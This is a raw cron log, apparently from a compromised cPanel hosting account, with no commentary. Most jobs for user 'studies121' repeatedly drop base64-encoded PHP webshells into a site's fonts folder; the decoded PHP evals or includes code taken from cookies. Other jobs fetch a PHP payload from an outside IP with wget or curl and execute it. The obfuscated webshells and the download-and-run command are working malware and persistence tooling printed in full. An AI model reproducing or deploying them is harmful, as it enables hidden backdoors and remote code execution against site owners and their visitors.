Sep  4 00:07:02 ip-184-168-122-23 CROND[19872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:07:02 ip-184-168-122-23 CROND[19870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:07:02 ip-184-168-122-23 CROND[19871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:08:01 ip-184-168-122-23 CROND[19956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:08:01 ip-184-168-122-23 CROND[19958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:08:01 ip-184-168-122-23 CROND[19959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:08:01 ip-184-168-122-23 CROND[19960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:08:01 ip-184-168-122-23 CROND[19961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:09:01 ip-184-168-122-23 CROND[20046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:09:01 ip-184-168-122-23 CROND[20049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:09:01 ip-184-168-122-23 CROND[20050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:09:01 ip-184-168-122-23 CROND[20052]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 00:09:01 ip-184-168-122-23 CROND[20055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:10:01 ip-184-168-122-23 CROND[20139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:10:01 ip-184-168-122-23 CROND[20142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:10:01 ip-184-168-122-23 CROND[20143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:10:01 ip-184-168-122-23 CROND[20146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:10:01 ip-184-168-122-23 CROND[20145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:10:01 ip-184-168-122-23 CROND[20147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:10:01 ip-184-168-122-23 CROND[20148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:10:01 ip-184-168-122-23 CROND[20153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:11:01 ip-184-168-122-23 CROND[20243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:11:01 ip-184-168-122-23 CROND[20244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:11:01 ip-184-168-122-23 CROND[20246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:11:01 ip-184-168-122-23 CROND[20245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:12:01 ip-184-168-122-23 CROND[20325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:12:01 ip-184-168-122-23 CROND[20326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:12:01 ip-184-168-122-23 CROND[20329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:12:01 ip-184-168-122-23 CROND[20331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:12:01 ip-184-168-122-23 CROND[20330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:13:01 ip-184-168-122-23 CROND[20423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:13:01 ip-184-168-122-23 CROND[20427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:13:01 ip-184-168-122-23 CROND[20426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:13:01 ip-184-168-122-23 CROND[20428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:14:02 ip-184-168-122-23 CROND[20581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:14:02 ip-184-168-122-23 CROND[20584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:14:02 ip-184-168-122-23 CROND[20583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:14:02 ip-184-168-122-23 CROND[20582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:14:02 ip-184-168-122-23 CROND[20586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:15:01 ip-184-168-122-23 CROND[20670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:15:01 ip-184-168-122-23 CROND[20672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:15:01 ip-184-168-122-23 CROND[20673]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 00:15:01 ip-184-168-122-23 CROND[20675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:15:01 ip-184-168-122-23 CROND[20676]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  4 00:15:01 ip-184-168-122-23 CROND[20678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:15:01 ip-184-168-122-23 CROND[20679]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:15:01 ip-184-168-122-23 CROND[20681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:16:02 ip-184-168-122-23 CROND[20782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:16:02 ip-184-168-122-23 CROND[20783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:16:02 ip-184-168-122-23 CROND[20786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:16:02 ip-184-168-122-23 CROND[20787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:16:02 ip-184-168-122-23 CROND[20788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 00:16:02 ip-184-168-122-23 CROND[20789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:17:01 ip-184-168-122-23 CROND[20866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:17:01 ip-184-168-122-23 CROND[20868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:17:01 ip-184-168-122-23 CROND[20870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:17:01 ip-184-168-122-23 CROND[20869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:18:02 ip-184-168-122-23 CROND[20961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:18:02 ip-184-168-122-23 CROND[20962]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:18:02 ip-184-168-122-23 CROND[20965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:18:02 ip-184-168-122-23 CROND[20966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:18:02 ip-184-168-122-23 CROND[20967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:19:01 ip-184-168-122-23 CROND[21059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
